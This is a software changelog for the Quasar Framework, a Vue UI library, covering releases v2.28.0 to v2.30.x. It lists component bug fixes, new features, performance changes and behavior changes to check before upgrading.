  • fix(QStepper): a nested stepper keeps its own orientation -> the horizontal and vertical layout rules hung off the stepper root with descendant selectors, so a stepper nested inside a step of the other orientation matched both rule sets and source order decided: a vertical stepper inside a horizontal one drew a horizontal connector after its active label, lost its vertical connectors and got clipped by the tab overflow; a horizontal one inside a vertical stepper lost the connector before each dot and received the vertical content padding. Every orientation rule now hangs off a per-element modifier class instead of the root; no selector gained a class and several lost one, so existing overrides keep their targets and their precedence (#​16516)
  • fix(QStepper): show the prefix on an active erroring step with active-icon="none" -> the header decided the dot's content with two computeds that disagreed on which state wins, so an active step that also had error, with active-icon set to none, got neither the icon nor the prefix and the dot was left empty; a step-level active/error/done-icon of none hit the same blank. The state icon is now resolved once, with the step prop taking precedence over the stepper one, and both the prefix decision and the rendered icon derive from it (#​15259)
  • fix(QDrawer): mini-mode items stay put when the standard layout takes over -> in mini mode the item's side section was flex-centered inside the drawer's content box, which only agrees with the standard layout's 16px anchor when that box is exactly 56px wide. An unbordered drawer gives 57px, and on a display whose scale factor is not a whole number Chromium and WebKit snap the 1px border to a fraction of a pixel, so the centered icon landed on a fractional position and visibly jumped once the mini animation restored the standard layout (Mac Retina and 1x displays are exact, which is why it could not be reproduced there). The drawer now hands its current width to CSS as the --q-drawer-width custom property, documented as usable by user CSS, and the mini rule sizes the item from it, so 24px icons land on the standard inset at any scale factor, bordered or not (#​18320)
  • fix(QDrawer): iOS Safari's edge navigation swipe stays out of the drawer gestures -> on iOS Safari, swiping in from the screen edge to open a drawer also ran the browser's back/forward navigation gesture: the page slid towards the previous history entry while the drawer followed the finger. The same happened when the backdrop of a right-side drawer was swiped from the left edge to close it. The opener strip and the backdrop now cancel the touch sequence once the pan direction is detected, which is what leaves the page in Safari's hands, while a vertical move (and so the page scroll) is left alone
  • fix(prevent-scroll): the page background keeps painting under the iOS scroll lock -> the iOS lock pins the body with position: fixed, which collapses the root element to zero height, and a body background propagates to the canvas with the root box as its positioning area: a gradient or a cover-sized image stopped painting the moment a popup locked the page, showing a blank canvas behind the dialog. A solid color needs no positioning area, which is why the default dark page never showed it, and desktop and Android use the viewport clip lock, so only iOS was affected. The lock class now gives the root element min-height: 100%, min-height so user html { height } rules still win (#​16799)
  • fix(QResizeObserver): track padding and border changes of the observed element -> the component emits offsetWidth/offsetHeight, the border box, but observed the default content box, so a padding or border change on the observed element itself grew the border box without touching the content box and no notification fired. QHeader, QFooter and QDrawer size the layout through it, so a padding-top: env(safe-area-inset-top) rule placed on .q-header (the iOS PWA status-bar pattern) left QPageContainer with a page padding that ignored the inset until the device rotated. Padding on the toolbar child, which is what Quasar's own q-ios-padding/q-safe-area-padding rules use, was already tracked (#​7526)
  • fix(QPage): the children's vertical margins stay inside the page -> QPage was a plain block with no padding or border, so a first child's top margin (a q-mt-md card, say) collapsed through it and pushed the page down inside QPageContainer; together with the page's min-height the layout then exceeded the viewport and the window grew a scrollbar even when the content fit the screen. A last child's bottom margin did the same at the other end. The page now establishes a block formatting context, through a zero-specificity rule so display utilities on the page and user overrides keep winning (#​9536)
  • fix(Dark): 'auto' resolves on SSR/SSG clients once they take over -> since v2.18.2 the ssr-client build reads its initial dark state from the server-emitted body class, and the server renders 'auto' as light, so config.dark: 'auto' ended up as a plain false on every SSR/SSG app: no media query listener, light forever. The server now flags an 'auto' render with a body attribute, and the client resolves it on takeover unless the app already set an explicit value meanwhile. A SSR+PWA shell boot, which has no server markup to read, starts from the config like an SPA does; the config was silently dropped there too. See the note at the top (#​7530)
  • fix(debounce): guard reentrant immediate calls -> a debounced function created with the immediate option could re-enter itself from within its own invocation and fire again instead of being held back for the wait period (#​18544)
  • fix(morph): give up on a destination detached before the first frame -> morph() defers its work to a requestAnimationFrame callback, and when the destination's subtree was removed in between (a v-if or an unmount in the same tick as the model change) the validity check still accepted it, because a detached subtree keeps its parentNode, and the fixed-position parent walk then reached null and threw inside getComputedStyle

Other

  • perf(QField): message swaps animate with a CSS keyframe instead of a Transition -> every field with a hint, rules, a counter or an explicit error prop rendered a Transition component around its messages element, only to animate the hint-to-error swap. With Vue 3.5 that instance is about a quarter of a QInput's mount JS (2000 labelled inputs with hints: 148 ms to 113 ms on Chromium), and it was the single biggest item in the reporter's own devtools timeline. The messages element is keyed by its content, so a swap already re-creates it, and a keyframe on the new element reproduces the enter half of the old transition; nothing animates on page load and no field gets a composited layer at mount. See the note at the top (#​12369)
  • perf(ui): 2D transforms are written as 2D instead of the 3D variants -> Chromium gives any 3D transform function its own compositor layer, permanently, and with hundreds of instances on a page every repaint re-runs the layer assignment against all of them. The production stylesheet never shipped these (the minifier flattens them), but quasar dev compiles the Sass verbatim, so dev servers paid for a layer per radio, checkbox, toggle, slider ring, linear progress, date indicator, tree arrow, spinner and notification badge; the JS-built strings (QLinearProgress, QCircularProgress and through it QKnob, QAjaxBar, Ripple, QTabs' indicator) reached production as written, so those are a production win too. Every value is rewritten as its exact 2D equivalent and the minified quasar.prod.css/quasar.rtl.prod.css are byte-identical before and after. QLayout's layer hack and QParallax's media transform stay 3D on purpose

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following:

v2.30.1

Compare Source

Fixes

  • fix(ui): every directive guards its context again in updated/beforeUnmount -> Vue defers a directive's updated to the post-flush queue but runs beforeUnmount synchronously, so a queued updated can outlive the element's unmount and find its context already gone. v2.30.0 dropped the early return that covered this, and the hook threw a TypeError. In production Vue logs it; in development it rethrows, flushJobs never clears currentFlushPromise and nothing reactive is ever flushed again, freezing the app on whatever was painted. Reported for the four touch directives (a QScrollArea inside <keep-alive :include>, dropped from the cache in the same tick it re-renders), the guard is restored across all eleven: v-close-popup, v-intersection, v-morph, v-mutation, v-ripple, v-scroll, v-scroll-fire and v-touch-hold/v-touch-pan/v-touch-repeat/v-touch-swipe (#​18543)
  • fix(QInfiniteScroll): decide the first load at mount, not from the observer's opening report -> since the sentinel took over the trigger condition in v2.30.0, the first load waited for the observer's opening report, which lands a frame after mount. An app that fetches its first page from @load and renders a loading placeholder taller than offset while that runs (from its own mounted hook, a nextTick or an async component) had already grown the content by then, so that report read "out of reach" and an observer never re-reports a state that merely holds: @load never fired and the placeholder waited for data nobody had asked for. The first load is decided on mount again, off the DOM as it stands, by the same reach test the observer applies, and it is no longer routed through the debounced poll, so a paused fake clock (Playwright's page.clock) does not hold it back either. A component mounted out of reach stays quiet as before, and the observer still owns every load after the first (#​18542)
  • fix(Ripple): the argument and the modifiers follow runtime changes -> v-ripple re-read its argument and modifiers only when the value reference changed and only for an object value, so three things were frozen at mount: v-ripple:[color] with no value never picked up a new color, a modifiers object that changed while the value did not was ignored (QBtn hits this on its own, so toggling its round prop left the ripple starting from the press point instead of the center, or the other way round), and setting the value back to true after an object kept that object's options. All three now re-derive (#​18541)
  • fix(utils/is): deepEqual() handles null-prototype objects -> comparing two objects created with Object.create(null) threw, because the valueOf fallback saw a missing method as an override of Object.prototype's and called it. Both conversion fallbacks now require an actual callable on both sides, so null-prototype objects, and objects whose own valueOf/toString is not a function, compare by their keys. Two objects of the same constructor where only one carries such an override are compared key by key too, instead of through that one side's conversion (#​18540)
  • fix(QTree): let header slot content size its own icons -> the header-<name> slot defaults styled .q-icon and .q-avatar inside the node header at a specificity that tied with each component's own icon sizing and won on source order, so a QBtn placed in a header slot rendered a fixed 21px icon whatever its size prop said. The defaults are scoped through :where() and lose every tie, while still applying to plain slot icons (#​16753)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following:

v2.30.0

Compare Source

[!IMPORTANT]
Behavior changes worth checking before you upgrade:

  • QInfiniteScroll no longer watches the scroll position; it watches the end of its content. offset is now measured from the end of the content instead of the end of the scroll target (identical whenever the component is the last thing in its scroller), nothing loads once you scrolled past the component, debounce counts from the moment the end comes within the offset rather than from the last scroll event, the mount-time load lands one frame later instead of synchronously, and a scroll-target outside the component's ancestry no longer clips it.
  • v-scroll-fire fires as soon as any part of the element is visible, where it used to wait for the element's bottom edge to enter the container (pass the new :1 argument for the old timing; elements taller than the viewport never reach it). It also fires when the element becomes visible without a scroll, and the 25ms debounce is gone.
  • v-intersection dispatches every entry of a callback batch (previously only the first per callback, which could swallow a fast in-then-out), no longer passes the observer as an undocumented second argument, and ignores entries queued by an element's former observer.
  • Every QFab animates its Fab Actions individually rather than as a single block, cascading out of the trigger.
  • extractDate() returns an Invalid Date for a week mask that cannot resolve (week 0, week 54, week 53 of a 52-week year, or no year at all) where it used to return a date in 1900; masks containing dd now match instead of never matching.
  • v-touch-hold ignores a press while another one is tracked, so a two-finger hold fires the handler once instead of twice.
  • QTooltip's cursor-position and QMenu's touch-position/context-menu re-decide their placement from the intended side after a resize or an updatePosition(), instead of building on the correction of the first paint, and a point-mode offset now carries the sign of the direction the popup grows.
  • A disabled QEditor dims its toolbars and content instead of its whole root, so its border and background are no longer dimmed and its plain toolbar buttons now dim like its dropdowns already did.

New

  • feat(ui): useIntersection() composable -> observe any element's visibility from setup() with a plain object, a ref or a getter (target, root, rootMargin, threshold, once, disabled, onIntersect), getting back a reactive isIntersecting and a stop(). The observer pool behind it is now shared by the composable, v-intersection and QIntersection (rebuilt on top of the composable), so a page mixing the three with the same options runs a single IntersectionObserver
  • feat(QPullToRefresh): side prop, pull from any edge of the content to refresh -> the pull can start from the top (the default, unchanged), bottom, left or right of the content, as an inward pan from that edge while the scroll target sits at it. bottom is the messenger case, left/right serve horizontally scrolling content (#​7599)
  • feat(QTooltip): cursor-position prop, position the tooltip at the pointer -> on a large trigger a tooltip placed against the anchor's box ends up far from what the user is pointing at, which is why the native title attribute opens at the cursor. The pointer becomes the anchor point (anchor no longer applies, self and offset keep working), after waiting for the pointer to settle so a tooltip opening mid-sweep can't freeze at a point already left behind; a touch or stylus press opens at the contact point without waiting, and a keyboard focus or a bare model toggle keeps the regular anchor-relative placement (#​6019)
  • feat(QTabs): let the tab strip scroll natively along its axis -> the strip was overflow: hidden on desktop, so the only way to reach offscreen tabs was the arrow icons and a horizontal trackpad swipe or a wheel tilt did nothing. It now scrolls on its own axis on every platform, the cross axis staying hidden, the scrollbar staying invisible and the arrows still tracking the position. Vertical wheel over horizontal tabs is deliberately not remapped, so a tab bar in a page never captures the page scroll (#​7404)
  • feat(QFab): animate Fab Actions individually via the new stagger prop -> each action fades and scales on its own, cascading outwards from the trigger when opening and back towards it when closing, which is the Material speed dial behavior. stagger sets the milliseconds between consecutive actions (default 40; 0 animates them all at once); the delays are derived in CSS with sibling-index(), so no number of actions is special-cased and browsers predating those functions simply animate the actions together (#​6413)
  • feat(QPagination): ellipsis slot to replace the "..." buttons -> the ellipsis buttons were hard-wired to jump to the first hidden page on their side and there was no slot to attach anything else. The slot replaces the button entirely and hands over { side, page, btnProps, onClick } (plus to when to-fn is set); btnProps replicates the default button but carries neither the click handler nor the router target, so spreading it onto a QBtn hosting a QPopupEdit does not also trigger the jump. Without the slot the rendered output is unchanged (#​11341)
  • feat(QEditor): open toolbar dropdowns on hover -> the new dropdown-hover, dropdown-hover-delay and dropdown-hover-hide-delay props are forwarded to the QBtnDropdown of every toolbar dropdown. Click, tap and keyboard interactions keep toggling as before, and touch devices fall back to them
  • feat(date): extractDate() parses ISO week dates -> the week (w/wo/ww), ISO week year (GG/GGGG) and day of week (d/do/E/ddd/dddd) tokens were emitted by the parser but never mapped, so a GGGG-[W]ww-E mask resolved to Jan 1st 1900 instead of the day it described and twelve formatting tokens could not survive a formatDate() round trip. A mask carrying a week number now resolves as an ISO week date, an explicit calendar day still winning. See the note at the top (#​7732)
  • feat(ScrollFire): watch through the shared IntersectionObserver, new threshold argument -> the directive registered a debounced scroll listener per element on the scroll target and only ever checked at mount and on scroll, so an element that became visible through a layout change, a resize or an already scrolled container never fired. It now subscribes to the pooled observer shared with v-intersection, QIntersection and useIntersection, clipping through every scrollable ancestor up to the viewport, and takes the fraction of the element that must be visible as an argument (v-scroll-fire:0.5, default 0). See the note at the top
  • feat(TouchHold/TouchPan/TouchRepeat/TouchSwipe): the argument and every modifier follow runtime changes -> the four docs pages carried a "Note on HMR" since 2019 saying not all modifiers were reactive. Now every directive re-derives its listener options and settings whenever the modifiers object changes, swapping only the listeners whose options changed, re-parsing the argument when its string differs and always creating its context, so a directive that starts inert (no .mouse on a device without touch) can be armed later. The notes are gone from the four pages
  • feat(ui): the scroll-target prop accepts a Vue component reference, standing for its root element -> QInfiniteScroll, QScrollObserver, QVirtualScroll, QParallax, QPullToRefresh, QTree and QTable share the prop, and the resolver behind it has always unwrapped a component instance to its root element, but the prop type rejected it: in production it worked, in development Vue's prop validation refused it and building the warning threw ("Cannot convert object to primitive value"), aborting the update. A value without a root element now falls back to auto detection with a warning naming the cause
  • feat(ui/app-vite): the quasar.config spinner of Loading and Notify is typed by name -> framework.config.loading.spinner and framework.config.notify.spinner take a spinner's name ('QSpinnerGears'), which the CLI imports for you, but the typing dropped both keys altogether, so naming a spinner there was a type error. quasar now also exports the QuasarSpinners union of the spinner component names

Fixes

  • fix(ui): intersection observing works in cross-origin iframes (Codepen and the like) -> Chromium and WebKit withhold rootBounds from a cross-origin iframe for every entry of the viewport root, and a 2020 guard read that null as the element having been caught out of the DOM by a Vue transition, re-observing forever. So inside Codepen, jsFiddle and StackBlitz previews no v-intersection or QIntersection handler ever ran, since 2020 (the docs advised the root prop as a workaround and Codepen was disabled on the examples). Firefox was unaffected. The guard is dropped, the docs' workaround paragraph with it, and the Intersection examples get their Codepen link back
  • fix(QMenu): close on a press whose compatibility mousedown got suppressed -> the outside-click handler listened for mousedown and touchstart only, so a page cancelling pointerdown (Cesium does it on every mouse press with a registered action) suppressed the compatibility mousedown and the popup stayed open, in every engine. QSelect's dropdown got stuck along with it. A mouse or pen pointerdown now arms a 0ms fallback that the mousedown of a normal press cancels in the same task, so every existing path is unchanged (#​12575)
  • fix(QMenu/QTooltip): a growing popup grows away from its anchor -> the JS fallback engine expressed every placement as a pixel top/left, so a popup with a bottom or right self origin kept its top edge frozen: content growing after the decision extended it over its own anchor until the next pass re-derived the position and it jumped. The engine now writes its inset from the edge the self origin anchors, like the native one
  • fix(QMenu/QTooltip): keep a flipped popup capped so growth can't escape the viewport, without losing the bound it already has -> a flipped popup is now capped at its side's space whether or not it fits there, and that cap is the smaller of the space and the popup's own computed max size, which resolves the max-height/max-width props, the stylesheet ceilings ($menu-max-height, ...) and any app CSS at once. Before the amendment a flip towards a roomier side could widen the popup past those bounds (#​18536, #​18537)
  • fix(position-engine): correct point-mode self origins and offsets -> a popup positioned from a coordinate got two things wrong. An axis whose self origin is center/middle had no viewport correction at all, and now shifts back inside the viewport, frozen at decision time. The offset was applied with a fixed positive sign whatever the self origin, so a popup growing up or left opened onto the coordinate instead of clearing it; it now carries the sign of the direction the popup grows. Visible today for a QMenu opened at a coordinate. See the note at the top
  • fix(QEditor): honor disable/readonly in the toolbar, keep the fullscreen root opaque -> getBtn() overwrote the editor-wide disabled state with the per-button definition, so every plain toolbar button of a disabled or readonly editor stayed actionable (only the dropdowns behaved), which is how a disabled fullscreen editor's fullscreen button could be clicked. readonly keeps the read-only commands (fullscreen, print, viewsource), disable takes the whole toolbar out of play. The global .disabled rule also sat on the root, which in fullscreen is a viewport-sized fixed element, so the page composited straight through it. See the note at the top (#​15486)
  • fix(QKnob/QTabPanels/QStepper/QCarousel/QDrawer/QSplitter): don't remount the content when a gesture prop is toggled -> all of them baked a prop-derived condition into the vnode key, so flipping it destroyed and rebuilt the whole subtree: QKnob re-created its QCircularProgress and default slot on a disable/readonly toggle, QTabPanels/QStepper/QCarousel destroyed every panel (KeepAlive state included) on a swipeable toggle, QDrawer re-created its content on a no-swipe-close toggle and QSplitter its separator slot on disable. The directive now stays attached and is disarmed in place. QColor's spectrum, QSlider/QRange's track and QDrawer's backdrop got the same treatment internally (#​12668, #​18535)
  • fix(TouchPan): deliver the final payload when the value is unset mid-pan -> the mouse variant defers the final handler call by 50ms and read the handler at call time, so a value that turned undefined during an active pan threw and the isFinal payload never arrived: QSplitter kept its --active class and dropped the update:modelValue, QPullToRefresh stayed in its pulling state, QDrawer's close pan lost its end on a breakpoint crossing
  • fix(v-intersection/v-mutation): disable in place on a non-function value -> v-intersection accepted Boolean false only and threw on undefined, and v-mutation tolerated a non-function value only by accident, keeping the observer connected and rebuilding it on every handler change (an inline arrow function on each render). Both now disarm cleanly, v-mutation dropping its observer and only swapping the callback target on a handler change (#​18531)
  • fix(QFabAction): restore the fallback state when used outside a QFab -> the inject() fallback factory was never flagged as one, so the function itself landed in $fab and a QFabAction rendered outside a QFab crashed instead of showing itself as an enabled, standalone button (#​18538)
  • fix(Morph): an object value no longer resets the directive modifiers it does not name -> the modifier pass also ran on the object form, so v-morph.tween="{ name, group, model }" lost the tween. The directive modifiers are the base now and the object overrides only the keys it defines
  • fix(Ripple): a keyboard ripple within 300ms of re-enabling is no longer swallowed -> the throttle window opened on any key press, even while the element was disabled; it now only advances when a ripple actually fires
  • fix(utils/is): deepEqual() compares binary data by content -> ArrayBuffers, DataViews and typed arrays were compared through the generic object path, and the typed-array branch was duck-typed on a .buffer property, so a plain { buffer: ArrayBuffer } (and DataView) spun forever. Binary views are recognised through ArrayBuffer.isView(), which also covers views over a SharedArrayBuffer, and both sides' byteLength is compared before anything is allocated (#​18539)
  • fix(ui/api): a Vue reference in an event or method payload is a ComponentInstance, not a Component -> QFile, QForm, QPopupProxy, QScrollArea, QSelect, QTable, QTree, QUploader, QVirtualScroll and useVirtualScroll hand over mounted component instances that the generated typings declared with Vue's definition type. Component stays where a definition really is passed: the plugins' spinner options and Dialog's component

Other

  • perf(ui): a sweep over the directives and the scroll-driven components -> v-ripple, v-scroll, v-close-popup, v-intersection, v-morph and the four touch directives now share module-level listeners instead of allocating a set of closures per element, v-intersection shares one IntersectionObserver per distinct config (per-scroll main-thread time on 3000 observed elements 4.1ms -> 2.5ms) and v-scroll one listener per target (2000 elements on window: mount 8.9ms -> 2.0ms, unmount 8.3ms -> 0.8ms, one scroll event 1.74ms -> 0.08ms). QInfiniteScroll and QPullToRefresh watch the content through the intersection pool rather than a scroll listener and render their indicator in a sub-component, so a load or a pull no longer re-renders the slot content, and QPullToRefresh arms TouchPan only while the pulled edge is on screen, keeping JS out of the touch path of every other scroll gesture. Every template ref in the ui package is a shallowRef()
  • refactor(QMenu/QTooltip): share the positioning lifecycle through a single internal composable -> the two components each carried their own copy of both positioning engines and the show-time glue, which had drifted apart. Two side effects on QTooltip: the scroll offset of content that fits is restored after a boundary pass like QMenu's, and the JS fallback re-tracks the anchor after a useFullscreen() relocation (#​18513)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following:

v2.29.0

Compare Source

[!IMPORTANT]
One behavior change worth checking before you upgrade:

  • A @click listener on QItem or QChip now implies clickable. The clickable prop became tri-state (default null): when you do not set it, the presence of a click listener decides. An explicit value still wins, so :clickable="cond" and clickable="false" are untouched. Markup that carried a previously dead click listener now gains the hover styling, focusability, the derived button/menuitem role and starts firing its handler.

New

  • feat(QItem/QChip): a click listener implies clickable when the prop is not set -> both components only emitted click from the handler they bind while clickable, so a @click on an item or chip without that prop was dead code. See the note at the top (#​16731)
  • feat(Lang): getClosestIsoName() maps a locale to the nearest language pack -> language packs carry a region subtag only when a language ships more than one translation, so a browser locale like es-MX or sr-Cyrl-RS has no pack of its own and every app hand-maintained a locale-to-pack map. Lang.getClosestIsoName(locale, isoNames) (also on $q.lang) picks the closest of the packs your app ships: exact match, then the RFC 4647 lookup chain with the script outranking the region (sr-Cyrl-RS reads sr-Cyrl, zh-Hant-TW reads zh-TW), then the CLDR likely subtags (zh reads zh-CN, pt reads pt-BR, de-AT reads de-DE over de-CH). Malformed entries are skipped, so a lang/*.js glob's deprecated files do no harm, and getLocale() can be passed straight in. The docs' dynamic boot-file recipe now uses it (#​12174)

Fixes

  • fix(QMenu/QTooltip): keep the natural width when flipped away from the far viewport edge -> since v2.28.0 a popup whose anchor sits near the right viewport edge collapsed to its min-content width (one or two words per line) while flipping to the roomier side, because both engines measured it with the intended placement's inset already live and then froze that squeezed width as the cap. Firefox and Safari were affected too, contrary to the report. A popup that fits its mirrored side is also no longer capped at its own rounded-down width, which used to wrap the last word after a flip (#​18533)
  • fix(QMenu/QTooltip): keep the popup's scroll position when the placement is re-checked -> the boundary pass lifts the popup's max-height/max-width to measure its natural size, which makes it briefly non-scrollable and lets the browser clamp its scroll offset to 0, with nothing putting it back. QSelect re-checks the placement on every re-render, so a flipped and capped options list jumped back to the top on pointer move. A v2.28.0 regression, on both engines (#​18534)
  • fix(QMenu/QTooltip): flip towards the side with more room, and keep the requested side on a tie -> the boundary pass compared the requested placement's anchor line against the viewport middle, so a popup taller than the available space could flip to the SMALLER side, and a trigger centered on the screen always flipped away from the requested placement. Each of the axis' two placements is now measured from its own anchor line; both axes and both engines are covered (#​16443)
  • fix(QField): keep the field focused while a menu or dialog opened from inside it is showing -> a QMenu or QDialog rendered inside a field's control (the QDate/QTime/QColor in a QPopupProxy pattern, an autocomplete menu, ...) blurred the active element on open, so the field dropped its focused state, emitted blur and ran lazy validation (an empty date input went red just for opening the picker). QMenu and QDialog dispatch bubbling popup-show/popup-hide DOM events again, the way Quasar v1 did, and QField holds its focused state, styling and lazy validation until the popup hides. Hover-shown menus and tooltips take no focus and stay silent (#​9779)
  • fix(QDialog): keep the dialog inside the visual viewport while the iOS soft keyboard is open -> iOS never shrinks the layout viewport a position: fixed dialog is attached to, and it reveals the focused field only for a user-initiated focus, so a field focused programmatically (autofocus or a .focus() call) opened the keyboard with a bottom-anchored dialog left entirely underneath it. QDialog now tracks the visual viewport while shown on iOS and insets its inner element to it. Verified on the iPhone 17 Pro simulator (#​17594)
  • fix(QDialog): size dialogs by the dynamic viewport instead of guessing the mobile toolbar height -> a flat 108px was subtracted from the card's max-height on iOS and web Android to keep it inside the toolbar-visible viewport, wasting 60px whenever the toolbar was already collapsed and always in native iOS apps, which have no toolbar at all. The card sizes itself by 100dvh now and the platform override is gone
  • fix(QDialog): let top/bottom anchored dialogs reach the screen edge under safe-area padding -> in native mode the safe-area rule padded the dialog on both ends and beat the position modifier, so a bottom (or top) anchored dialog, QBottomSheet included, stopped one inset short of the edge with the backdrop showing through the gap; the same appeared in edge-to-edge Android apps. The inset moves onto the dialog's child, so its background runs under the home indicator while the content stays clear of it (#​17977)
  • fix(QTabs): keep the justify stretch when fractional tabs fill the container -> the tabs were summed through offsetWidth, which rounds each one up, so three justified tabs in a 440px container summed to 441, scrollable flipped on, the tabs collapsed to their natural width and nothing re-measured. It repeated at every third pixel of width, which is the on/off alternation of the report. Tabs are now measured with getBoundingClientRect() and an overflow of a pixel or less is never treated as scrollable (#​18532)
  • fix(QVirtualScroll): measure the items without rounding so fractional sizes don't shift the content -> a dense QTable row lays out at 28.5px but was measured through offsetHeight as 29, so the paddings standing in for the items outside the slice put the content half a pixel per item off on every re-slice and the rows visibly jittered while scrolling, worse the deeper into the list. Both directions measure through getBoundingClientRect() now (#​15754)
  • fix(QDrawer): measure a standard layout by the window width so the breakpoint ignores the page scrollbar -> QLayout's total width added the native scrollbar width unconditionally, which is right only while a page scrollbar is showing, so on Windows and Linux desktops the drawer switched to mobile mode at 1006px instead of 1023px and disagreed with $q.screen and the CSS breakpoints. A standard layout now reports $q.screen.width; containerized layouts are unchanged (#​15506)
  • fix(QDrawer): release the body scroll lock when a mobile-opened drawer turns desktop -> a drawer opened below the breakpoint and then pushed above it rendered as a standard desktop drawer while the page stayed locked (#​16651)
  • fix(QChip/QPullToRefresh/QIntersection): don't remount the content when disable is toggled -> all three baked !disable into the root vnode key, so flipping the prop destroyed and rebuilt the whole subtree instead of leaving the content as it was. Disabling now travels through the directive value. One related change: with QIntersection's once, an observer that has already fired is no longer re-armed by toggling disable off and on, which was a side effect of the remount and contradicted once (#​12668, #​18531)
  • fix(ui): stop WebKit from scrolling the panel wrapper when a field is focused mid-transition -> an autofocused QInput inside an animated QStepper/QTabPanels/QCarousel panel made WebKit reveal the caret and scroll the panel wrapper, so both panels slid displaced and snapped back when the transform ended. The wrapper uses overflow: clip, which is not a scroll container; layout is unchanged (#​17464)
  • fix(ui): throw an actionable error when the SSR server build is installed without an ssrContext -> Node (and Vitest) resolve quasar through the node export condition to the SSR build, so a test setup that does not go through @​quasar/vite-plugin installed it and crashed with "Cannot convert undefined or null to object". The error now explains what happened and how to fix it, and the Vite plugin docs gained a "Testing with Vitest" section (#​15469)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following:

v2.28.0

Compare Source

[!IMPORTANT]
Several behavior changes worth checking before you upgrade:

  • QMenu and QTooltip lost the scroll-target prop. Popups now hear every scrolling container, nested ones included, through a single capture-phase document listener, so no container needs to be designated (and the scroll helper class is no longer part of the contract). The prop was only ever an escape hatch for containers the auto-detection missed; remove it from your templates.
  • QMenu/QTooltip freeze their placement decision per show. A popup no longer re-flips or pins itself on screen while you scroll: it stays glued to its anchor and scrolls off-screen together with it, like a natively anchor-positioned element. updatePosition() now means "re-run the placement decision"; a plain anchor move needs no call at all.
  • QTooltip tracks its anchor on container scroll instead of hiding.
  • fit/cover minimum sizing follows the real anchor box and is no longer inflated by the offset prop.
  • The Platform.is flags ie, edgeChromium, winphone, kindle and silk are gone (the first two were never set on any browser Quasar supports, the rest were dead platforms). is.edge now plainly means Chromium Edge.
  • ESC dismissal and modal focus containment are no longer desktop-only. A mobile device with a hardware keyboard (iPad with a Magic Keyboard, Android with a BT keyboard, DeX) now closes dialogs, menus, drawers and tooltips with ESC and keeps Tab inside a modal dialog.
  • Focus and hover feedback are keyed on input capability instead of the user agent. Focus paint moved to :focus-visible, so a desktop mouse click no longer leaves a lingering halo, and hover paint moved under @media (any-hover: hover), so hybrids gain hover feedback without phones gaining sticky hover.
  • Build targets moved up: browsers to the live Baseline Widely Available minima (Chrome/Edge 121, Firefox 123, Safari/iOS 17.2) and Node to 22.

Perf

  • perf(ui): zero idle cost for offscreen spinners -> spinners kept animating outside the viewport, burning main-thread style recalcs (a page of below-fold lazy QImg placeholders never went idle). Every spinner type now costs 0 recalcs and 0 layouts per second while offscreen, down from up to 173ms/s of style time, and visible spinners got 1.3-2x cheaper too. The SMIL paint animations were rewritten as CSS keyframes, preserving each spinner's timing, easing and phase relationships (#​17151)
  • perf(QCircularProgress): zero offscreen cost and a ~2x cheaper visible indeterminate mode -> 100 offscreen instances used to burn 84ms/s of style time; the onscreen cost drops from 42-66ms/s to 25ms/s per 100. QLinearProgress and QSkeleton were measured too and need nothing (#​17151)

New

  • feat(QMenu/QTooltip): native CSS anchor positioning on Chromium -> the anchor element gets a refcounted anchor name and the popup expresses its placement through position-anchor / anchor() insets, so the browser keeps it glued through any scroll, layout shift, resize or animation with zero listeners. Every other engine keeps the JS positioning engine, whose behavior was aligned with the native one so a flip in Chromium and a flip in Safari are the same flip by construction. Menus now follow ANY scrolling container on both paths, ending the long-standing "the menu only follows a container carrying the scroll class" limitation (the #​8343 family)
  • feat(QSelect): open the options on hover -> new hover, hover-delay and hover-hide-delay props, the same contract QMenu, QBtnDropdown and QFab settled on. A hover-shown open never steals focus and never pretends to be focused, so a pointer merely passing over the select emits no focus/blur and cannot trip lazy validation; @filter selects still load their options on hover. A real click or Tab upgrades the show to a regular focused open (#​11675)
  • feat(QSelect): close button for the options dialog -> behavior="dialog" finally has a visible dismiss affordance, a labeled button in the in-dialog control row where the dropdown arrow would sit, so the software keyboard can never cover it. Follows the color prop, styleable through q-select__dialog-close, opt out with the new hide-dialog-close prop (#​6858)
  • feat(QSelect): no-chip-remove prop -> with use-chips, drops the chips' remove icon and disarms the chip-armed Backspace removal, so a select that must always hold a value is possible with chips. clearable's own affordances stay intact when explicitly enabled alongside it (#​17937)
  • feat(QSelect): no-option-label prop -> a plain no-options message without having to reach for the no-option slot (#​9463)
  • feat(QSelect): stable CSS class on the displayed value -> the selected-value span carries a dedicated q-select__selected-value class as an officially targetable hook, e.g. white-space: pre-line to render embedded newlines (#​17973)
  • feat(QInput): support the v-model lazy modifier -> Vue implements it only on native elements and leaves the deferral to components, which QInput ignored. The emission now stays pending until the change event or blur, matching the modifier's native semantics; an external model change cancels it (#​18023)
  • feat(Dialog plugin): report the dismissal reason to onCancel/onDismiss -> the callbacks receive 'cancel', 'backdrop', 'escape' or 'programmatic' (which includes an app route change), so the Cancel button can finally be told apart from a backdrop click, ESC or a hide() call. Custom components built on useDialogPluginComponent get it with no template changes. New exported TS type: DialogDismissReason (#​17938)
  • feat(BottomSheet plugin): report the dismissal reason to onCancel/onDismiss -> the same argument, 'backdrop', 'escape' or 'programmatic'
  • feat(QParallax): react to scrolling in any container -> a parallax nested inside a second scrolling container silently stopped updating, since it only listened to the one auto-detected container. It now hears every scrolling container. The scroll-target prop stays with its other, narrower meaning: the box the scroll percentage is computed against
  • feat(ui): build for the current Baseline Widely Available browsers and Node 22 -> browser targets move off Vite's hard-coded snapshot to the live Baseline minima (Chrome/Edge 121, Firefox 123, Safari/iOS 17.2), to be refreshed on release trains, and both the Node build target and the long-stale engines field (node >= 10!) move to Node 22

Fixes

  • fix(QDialog): clip the viewport instead of pinning the body -> the scroll lock no longer moves the page to scroll 0 while a dialog, menu or drawer is open on non-iOS platforms, so nothing jumps on open or after dismissal (#​18527, #​18183)
